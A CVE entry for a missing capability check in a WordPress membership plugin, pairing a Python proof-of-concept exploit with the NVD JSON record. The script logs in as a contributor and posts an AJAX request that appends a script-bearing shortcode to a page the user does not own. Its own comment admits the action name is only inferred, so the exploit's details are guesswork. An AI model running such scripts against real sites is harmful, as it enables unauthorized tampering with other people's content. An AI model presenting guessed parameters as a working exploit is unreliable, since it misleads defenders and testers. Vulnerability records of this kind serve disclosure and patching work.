CVE-2026-3601

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "contributor_user" password = "password123" target_post_id = "1" # ID of the page to modify # Login to get session and nonce (if applicable) session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin/', 'wp-submit': 'Log In' } session.post("http://example.com/wp-login.php", data=login_data) # Exploit payload # The action 'ur_embed_form' is inferred from the function name 'embed_form_action' payload = { 'action': 'ur_embed_form', 'post_id': target_post_id, 'form_id': '1', 'shortcode_content': '[malicious_shortcode]alert(1)[/malicious_shortcode]' } # Send exploit request response = session.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print("[-] Failed to send payload.")

{"cve": {"id": "CVE-2026-3601", "sourceIdentifier": "[email protected]", "published": "2026-05-05T09:16:03.980", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `embed_form_action()` function in all versions up to, and including, 5.1.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to append shortcode content to arbitrary pages they do not own or have permission to edit."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/user-registration/tags/5.1.2/includes/admin/class-ur-admin-assets.php#L370", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-registration/tags/5.1.2/includes/class-ur-ajax.php#L1003", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-registration/trunk/includes/admin/class-ur-admin-assets.php#L370", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-registration/trunk/includes/class-ur-ajax.php#L1003", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3485702/user-registration/trunk/includes/class-ur-ajax.php?contextall=1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8798fb2-4cab-4960-9e32-fd74bb4a5091?source=cve", "source": "[email protected]"}]}}